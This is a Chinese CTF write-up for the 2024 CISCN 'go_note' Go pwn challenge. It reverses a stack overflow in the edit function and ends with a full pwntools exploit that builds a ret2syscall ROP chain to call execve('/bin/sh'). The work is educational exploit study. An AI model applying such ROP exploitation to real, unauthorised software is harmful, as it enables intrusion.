当前位置: 首页 > news >正文

【PWN · ret2syscall | GoPwn】[2024CISCN · 华中赛区]go_note

一道GoPwn,此外便是ret2syscall的利用。然而过程有不小的曲折,参考 返璞归真 师傅的wp,堪堪完成了复现。复现过程中,师傅也灰常热情回答我菜菜的疑问,感谢!
2024全国大学生信息安全竞赛(ciscn)半决赛(华中赛区)Pwn题解-CSDN博客

目录

前言

一、题目逆向-edit函数栈溢出

二、利用分析

三、EXP 

总结  


前言

        可以说是做的第一道GoPwn。。。进度确实太慢;此外,除了学习了对GoPwn的调试、逆向,也关注了Gadget利用的一些trick,ret2syscall也又一次进阶式地复习,收获良多。


一、题目逆向-edit函数栈溢出

        静态分析Go语言的二进制程序,IDA7.5有插件支持反编译Go, IDA7.6已经支持。为此,我们使用IDA7.6分析,能很大程度上减少反编译出错的情况。

        依据go的调用规约,参数依次通过寄存器传递:AX、BX、CX、DI、SI、R8、R9、R10、R11 。go-1.17+ 调用规约

        可以很明显看到字符串复制的操作,关于v1;v3;v9;v10是什么含义,我们可以结合动调来分析。然而, 对于Go语言逆向,IDA支持不是很好,我们需要结合汇编代码和动态调试来分析。

        打下断点到edit函数

         目标字符串复制部分,继续下断点后continue

        结合IDA,知道v9实际上获取了栈上的一块地址&v16

 

        不妨改名v16为stack_buffer,v9为stack_index

         来看看动调,了解具体是怎么个事儿

        简单来说就是传入的新content,会写在栈上,而且似乎没有检查长度。直接尝试溢出

        实际上,IDA也可以看出来,由rbp索引,不过还是动调精准一些,可信度更高

二、利用分析

        存在栈溢出漏洞,程序是静态编译的,不可ret2libc,且gadget丰富,遂尝试ret2syscall,即构造execve('/bin/sh\x00',0,0)。ROPgadget看一下rop链好不好构造。

# 函数参数依次通过寄存器传递:AX、BX、CX、DI、SI、R8、R9、R10、R11
# 0x0000000000404408: pop rax; pop rbp; ret;
pop_rax_rbp_ret=0x0000000000404408
# 0x0000000000404541: pop rbx; ret;
pop_rbx_ret=0x0000000000404541
# 不存在pop rcx;ret的简单利用
# 不存在pop rdi;ret的简单利用

        看看系统调用syscall有没有什么点 

         都知道x64系统调用前三个参数在rdi、rsi、rdx寄存器中,这个函数的封装,即可理解为参数传递寄存器换了一个:

        rax和rbx都可以直接通过pop-ret简单修改,rcx、rdi没有直接的修改方法。

        但是考虑到execve('/bin/sh\x00',0,0),rcx和rdi的寄存器值为0即可,为此可以找找看xor self, self 或者mov register, 0的gadgets。而且由于rcx和rdi的驻留值不大,gadget的寻找可以扩大到对ecx,edi范围。于是就找到了:

 

 

        为此构造第二、三个寄存器的值为0就已经ok了。 

# execve('/bin/sh\x00',0,0):
#   -> rbx=ptr('/bin/sh\x00')
#   -> rcx=0
#   -> rdi=0
# 因为不存在pop rcx/rdi;ret的简单利用,可以尝试mov rcx/rdi, 0 或者xor rcx/rdi,rcx/rdi的清零手法
# 因为rax、rbx我们都可以简单利用,于是经过grep筛选,选用下面的gadget
# 0x000000000040318e: mov rcx, 0; ret;
# 0x000000000047ccd9 : xor ecx, ecx ; ret
zero_rcx=0x000000000040318e
# 0x0000000000411aee: xor edi, edi; add rsp, 0x10; pop rbp; ret;
zero_rdi=0x0000000000411aee

        但是我们还要往bss段上写'/bin/sh\x00',这个如何组织gadget,利用系统调用着实不方便,因为无法控制全部三个寄存器的值。

返璞归真师傅教了一招:mov [register1],register2

        其中register1和register2的值均可控——而现在rax、rbx、rbp、rdx的值我们可以很好的控制,grep一下ROPgadget的结果

         很好,这意味着'/bin/sh\x00'可以写了

# 需要将/bin/sh写到bss段上,但是write不好构造,可以用mov [register], register的方式
# 0x0000000000415312 : mov qword ptr [rax + 0x18], rbx ; ret
rbx_write2raxP0x18=0x0000000000415312bss=0x527088
# 写'/bin/sh\x00' 到bss+0x18
rop=b''
rop+=p64(pop_rax_rbp_ret)+p64(bss)+p64(0)
rop+=p64(pop_rbx_ret)+b'/bin/sh\x00'
rop+=p64(rbx_write2raxP0x18)

         然后构造execve('/bin/sh\x00',0,0)即可

# execve('/bin/sh\x00',0,0)
rop+=p64(zero_rcx)
rop+=p64(zero_rdi)+p64(0)*3
rop+=p64(pop_rbx_ret)+p64(bss+0x18)
rop+=p64(pop_rax_rbp_ret)+p64(59)+p64(0)
rop+=p64(syscall)

三、EXP 

from pwn import *
context(arch='amd64',log_level='debug')io=process('./note')gdb.attach(io);input()
# 函数参数依次通过寄存器传递:AX、BX、CX、DI、SI、R8、R9、R10、R11
# 0x0000000000404408: pop rax; pop rbp; ret;
pop_rax_rbp_ret=0x0000000000404408
# 0x0000000000404541: pop rbx; ret;
pop_rbx_ret=0x0000000000404541
# 不存在pop rcx;ret的简单利用
# 不存在pop rdi;ret的简单利用# 封装好的syscall调用——runtime_internal_syscall_Syscall6()
# .text:0000000000403160                 mov     r10, rsi
# .text:0000000000403163                 mov     rdx, rdi
# .text:0000000000403166                 mov     rsi, rcx
# .text:0000000000403169                 mov     rdi, rbx
# .text:000000000040316C                 syscall 
# 所以通过该函数的实现系统调用,前三个寄存器值为rbx,rcx,rdi,系统调用号rax
syscall = 0x403160# execve('/bin/sh\x00',0,0):
#   -> rbx=ptr('/bin/sh\x00')
#   -> rcx=0
#   -> rdi=0
# 因为不存在pop rcx/rdi;ret的简单利用,可以尝试mov rcx/rdi, 0 或者xor rcx/rdi,rcx/rdi的清零手法
# 因为rax、rbx我们都可以简单利用,于是经过grep筛选,选用下面的gadget
# 0x000000000040318e: mov rcx, 0; ret;
# 0x000000000047ccd9 : xor ecx, ecx ; ret
zero_rcx=0x000000000040318e
# 0x0000000000411aee: xor edi, edi; add rsp, 0x10; pop rbp; ret;
zero_rdi=0x0000000000411aee# 需要将/bin/sh写到bss段上,但是write不好构造,可以用mov [register], register的方式
# 0x0000000000415312 : mov qword ptr [rax + 0x18], rbx ; ret
rbx_write2raxP0x18=0x0000000000415312bss=0x527088
# 写'/bin/sh\x00' 到bss+0x18
rop=b''
rop+=p64(pop_rax_rbp_ret)+p64(bss)+p64(0)
rop+=p64(pop_rbx_ret)+b'/bin/sh\x00'
rop+=p64(rbx_write2raxP0x18)
# execve('/bin/sh\x00',0,0)
rop+=p64(zero_rcx)
rop+=p64(zero_rdi)+p64(0)*3
rop+=p64(pop_rbx_ret)+p64(bss+0x18)
rop+=p64(pop_rax_rbp_ret)+p64(59)+p64(0)
rop+=p64(syscall)payload=b'a'*(0x40)+ropio.sendlineafter(b'Your choice > ',b'1')
io.sendlineafter(b'Please input note content: ',b'1')
io.sendlineafter(b'Your choice > ',b'3')
io.sendlineafter(b'Please input note id: ',b'1')
io.sendlineafter(b'Please input new content: ',payload)
io.interactive()


总结 

在此再次感谢返璞归真师傅!本题受益良多,开心。 

相关文章:

【PWN · ret2syscall | GoPwn】[2024CISCN · 华中赛区]go_note

一道GoPwn,此外便是ret2syscall的利用。然而过程有不小的曲折,参考 返璞归真 师傅的wp,堪堪完成了复现。复现过程中,师傅也灰常热情回答我菜菜的疑问,感谢!2024全国大学生信息安全竞赛(ciscn&am…...

关于学习方法的优化

这是一种新的学习方法,一种新的学习形式,可以通过歌唱的方式,运用,把自己每天要进行的内容进行一个复习,进行一个重复,这样可以实现随时随地进行一个学习,这样可以帮助快速走出来! 您…...

万界星空科技MES系统中的排版排产功能

在当今高度竞争的市场环境中,企业对于生产管理的效率和质量要求日益提高。作为智能制造的重要组成部分,制造执行系统(MES)以其强大的功能,在提升企业生产能力方面发挥着不可替代的作用。万界星空科技作为行业领先的智能…...

kubeadm离线部署kubernetesv1.30.0

背景:最近由于docker image获取镜像受限的问题,以及公司内部部署kubernetes受限于内部网络无法访问公网的问题,对于离线部署kubernetes成为不是十分方便。谨以此文仅供参考。 kubernetes部署节点信息 kubernetes版本 1.30.0 操作系统版本&a…...

【PYG】dataloader和densedataloader

DenseDataLoader 是专门用于处理稠密图数据的,而 DataLoader 通常用于处理稀疏图数据。两者的主要区别在于它们的输入数据格式和处理方式。DenseDataLoader 适合处理固定大小的邻接矩阵和节点特征矩阵的数据,而 DataLoader 更加灵活,可以处理…...

完美解决ERROR 1045 (28000): Access denied for user ‘root‘@‘localhost‘ (using password: NO)

已解决ERROR 1045 (28000): Access denied for user ‘root‘‘localhost‘ (using password: NO) 下滑查看解决方法 文章目录 报错问题解决思路解决方法交流 报错问题 ERROR 1045 (28000): Access denied for user ‘root‘‘localhost‘ (using password: NO) 解决思路 对…...

ForkJoinPool 简介

引言 在现代并行编程中,处理大规模任务时将任务分割成更小的子任务并行执行是一种常见的策略。Java 提供了 Fork/Join 框架来支持这一模式,其中 ForkJoinPool 是其核心组件。本文将详细介绍 ForkJoinPool 的概念、使用方法和实际应用。 1. ForkJoinPoo…...

复现YOLO_ORB_SLAM3_with_pointcloud_map项目记录

文章目录 1.环境问题2.遇到的问题2.1编译问题1 monotonic_clock2.2 associate.py2.3 associate.py问题 3.运行问题 1.环境问题 首先环境大家就按照github上的指定环境安装即可 环境怎么安装网上大把的资源,自己去找。 2.遇到的问题 2.1编译问题1 monotonic_cloc…...

Docker:Docker网络

Docker Network 是 Docker 平台中的一项功能,允许容器相互通信以及与外界通信。它提供了一种在 Docker 环境中创建和管理虚拟网络的方法。Docker 网络使容器能够连接到一个或多个网络,从而使它们能够安全地共享信息和资源。 预备知识 推荐先看视频先有…...

Ubuntu 24.04-自动安装-Nvidia驱动

教程 但在安全启动模式下可能会报错。 先在Nvidia官网找到GPU对应的驱动版, 1. 在软件与更新中选择合适的驱动 2. ubuntu自动安装驱动 sudo ubuntu-drivers autoinstall显示驱动 ubuntu-drivers devices3. 安装你想要的驱动 sudo apt install nvidia-driver-ve…...

【CSAPP】-attacklab实验

目录 实验目的与要求 实验原理与内容 实验设备与软件环境 实验过程与结果(可贴图) 实验总结 实验目的与要求 1. 强化机器级表示、汇编语言、调试器和逆向工程等方面基础知识,并结合栈帧工作原理实现简单的栈溢出攻击,掌握其基…...

docker部署onlyoffice,开启JWT权限校验Token

原来的部署方式 之前的方式是禁用了JWT: docker run -itd -p 8080:80 --name docserver --network host -e JWT_ENABLEDfalse --restartalways onlyoffice/documentserver:8 新的部署方式 参考文档:https://helpcenter.onlyoffice.com/installation/…...

Hive排序字段解析

Hive排序字段解析 在Hive中,CLUSTER BY、DISTRIBUTE BY、SORT BY和ORDER BY是用于数据分发和排序的关键子句,它们各自有不同的用途和性能特点。让我们逐一解析这些子句: 1. DISTRIBUTE BY 用途: 主要用于控制如何将数据分发到Reducer。它可…...

3101.力扣每日一题7/6 Java(接近100%解法)

博客主页:音符犹如代码系列专栏:算法练习关注博主,后期持续更新系列文章如果有错误感谢请大家批评指出,及时修改感谢大家点赞👍收藏⭐评论✍ 目录 思路 解题方法 时间复杂度 空间复杂度 Code 思路 主要是基于对…...

virtualbox窗口和win10窗口的切换

1、问题: 从windows切换到虚拟机可以用快捷键 ALTTAB,但是从虚拟机到windows使用 ALTTAB 无法成功切换 2、解决方法: 按下图操作 按上面步骤设置之后,每次要从虚拟机窗口切换到windows窗口 只需要先按 CtrlAlt 跳出虚拟机窗口&…...

卫星轨道平面简单认识

目录 一、轨道平面 1.1 轨道根数 1.2 应用考虑 二、分类 2.1 根据运行高度 2.2 根据运行轨迹偏心率 2.3 根据倾角大小 三、卫星星座中的轨道平面 四、设计轨道平面的考虑因素 一、轨道平面 1.1 轨道根数 轨道平面是定义卫星或其他天体绕行另一天体运动的平面。这个平…...

IP-Guard定制函数配置说明

设置客户端配置屏蔽: 关键字:disfunc_austascrtrd 内容:1 策略效果:屏幕整个屏幕监控模块。会导致屏幕历史查询这个功能也不能使用。 security_proxy1 安全代理参数 safe_enforce_authproc进程 强制软件上 安全代理网关&#xf…...

C++常用类

C常用类 1. std::string类2. std::vector 类2.1 特性2.2 用法 1. std::string类 std::string 是 C 标准库中的一个类,用于处理字符串。它提供了许多方法来创建、操作和管理字符串,如连接、查找、比较、替换和分割等操作。std::string 类定义在 头文件中…...

React Hooks --- 分享自己开发中常用的自定义的Hooks (1)

为什么要使用自定义 Hooks 自定义 Hooks 是 React 中一种复用逻辑的机制,通过它们可以抽离组件中的逻辑,使代码更加简洁、易读、易维护。它们可以在多个组件中复用相同的逻辑,减少重复代码。 1、useThrottle 代码 import React,{ useRef,…...

uniapp H5页面设置跨域请求

记录一下本地服务在uniapp H5页面访问请求报跨域的错误 这是我在本地起的服务端口号为8088 ip大家可打开cmd 输入ipconfig 查看 第一种方法 在源码视图中配置 "devServer": {"https": false, // 是否启用 https 协议,默认false"port&q…...

接口测试中缓存处理策略

在接口测试中,缓存处理策略是一个关键环节,直接影响测试结果的准确性和可靠性。合理的缓存处理策略能够确保测试环境的一致性,避免因缓存数据导致的测试偏差。以下是接口测试中常见的缓存处理策略及其详细说明: 一、缓存处理的核…...

微信小程序之bind和catch

这两个呢,都是绑定事件用的,具体使用有些小区别。 官方文档: 事件冒泡处理不同 bind:绑定的事件会向上冒泡,即触发当前组件的事件后,还会继续触发父组件的相同事件。例如,有一个子视图绑定了b…...

Go 语言接口详解

Go 语言接口详解 核心概念 接口定义 在 Go 语言中,接口是一种抽象类型,它定义了一组方法的集合: // 定义接口 type Shape interface {Area() float64Perimeter() float64 } 接口实现 Go 接口的实现是隐式的: // 矩形结构体…...

在WSL2的Ubuntu镜像中安装Docker

Docker官网链接: https://docs.docker.com/engine/install/ubuntu/ 1、运行以下命令卸载所有冲突的软件包: for pkg in docker.io docker-doc docker-compose docker-compose-v2 podman-docker containerd runc; do sudo apt-get remove $pkg; done2、设置Docker…...

AspectJ 在 Android 中的完整使用指南

一、环境配置(Gradle 7.0 适配) 1. 项目级 build.gradle // 注意:沪江插件已停更,推荐官方兼容方案 buildscript {dependencies {classpath org.aspectj:aspectjtools:1.9.9.1 // AspectJ 工具} } 2. 模块级 build.gradle plu…...

【从零学习JVM|第三篇】类的生命周期(高频面试题)

前言: 在Java编程中,类的生命周期是指类从被加载到内存中开始,到被卸载出内存为止的整个过程。了解类的生命周期对于理解Java程序的运行机制以及性能优化非常重要。本文会深入探寻类的生命周期,让读者对此有深刻印象。 目录 ​…...

作为测试我们应该关注redis哪些方面

1、功能测试 数据结构操作:验证字符串、列表、哈希、集合和有序的基本操作是否正确 持久化:测试aof和aof持久化机制,确保数据在开启后正确恢复。 事务:检查事务的原子性和回滚机制。 发布订阅:确保消息正确传递。 2、性…...

脑机新手指南(七):OpenBCI_GUI:从环境搭建到数据可视化(上)

一、OpenBCI_GUI 项目概述 (一)项目背景与目标 OpenBCI 是一个开源的脑电信号采集硬件平台,其配套的 OpenBCI_GUI 则是专为该硬件设计的图形化界面工具。对于研究人员、开发者和学生而言,首次接触 OpenBCI 设备时,往…...

深度学习之模型压缩三驾马车:模型剪枝、模型量化、知识蒸馏

一、引言 在深度学习中,我们训练出的神经网络往往非常庞大(比如像 ResNet、YOLOv8、Vision Transformer),虽然精度很高,但“太重”了,运行起来很慢,占用内存大,不适合部署到手机、摄…...

HTML前端开发:JavaScript 获取元素方法详解

作为前端开发者,高效获取 DOM 元素是必备技能。以下是 JS 中核心的获取元素方法,分为两大系列: 一、getElementBy... 系列 传统方法,直接通过 DOM 接口访问,返回动态集合(元素变化会实时更新)。…...